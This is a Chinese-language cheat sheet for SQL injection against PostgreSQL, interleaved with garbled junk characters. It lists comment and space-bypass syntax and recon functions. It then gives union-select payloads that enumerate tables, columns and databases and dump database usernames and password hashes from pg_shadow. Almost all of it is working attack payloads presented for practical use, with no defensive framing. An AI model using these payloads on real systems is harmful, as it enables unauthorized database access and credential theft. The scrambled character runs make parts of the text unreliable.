结合了MSSQL MySQL Oracle的一些特点
# q/ i/ r: i( C j3 N% [支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
3 T" j9 W: I/ f连接符: %20 , + , /**/ 内置函数:/ ]5 `0 a6 d; v& E
current_database() //当前数据库名
1 k R! r7 j9 L0 V& fsession_user //会话用户. ^( b |) h( |& `6 |3 \
current_user //当前数据库用户* w0 A7 S8 A$ {: P' c6 u1 p% \6 y& j1 r" |
user //当前用户
2 c0 D4 q7 ]) Y* g* @version() //数据库版本 Union注射:, d7 Z, \, [7 c2 m/ w( I
order by n–
8 ?+ J! _5 J6 oand 1=2 union select null,null,null–
5 Z/ R! k. e$ ]; |) q8 s+ k4 x0 h4 eand 1=2 union select ‘beach’,null,null–
: e q, z6 f, ? r+ g# tand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):7 r1 \4 n$ k) o. r
group_concat(table_name)5 H+ j/ [5 D2 r
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–9 j4 D6 B( Z. n. ?2 N
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–/ O% r( Q* v' q- K! K! R
(老版本)5 c/ y4 I# p8 T! ?0 F
pg_class.oid对应pg_attribute.attrelid! s. i) O5 L% y8 V& X/ M4 g; n
pg_class.relname表名4 W$ O; K9 t( ` K) E- B
pg_attribute.attname字段名 select relname from pg_class获取表名7 |- k% V- b& D$ z& B5 d+ { h
select oid from pg_class where 条件 获取参数2 n, c# X- v. n
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
) X' C d* D- S1 Zand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表% I$ n3 d B' P3 \9 u# c1 {
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–9 _9 e/ c" J- q2 v5 Y. \4 i
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
! N+ F8 R6 v3 o" I5 @! x0 P7 ^======================================================================
$ z& V j" J/ jand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库* X. |$ ]4 C- u$ l
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |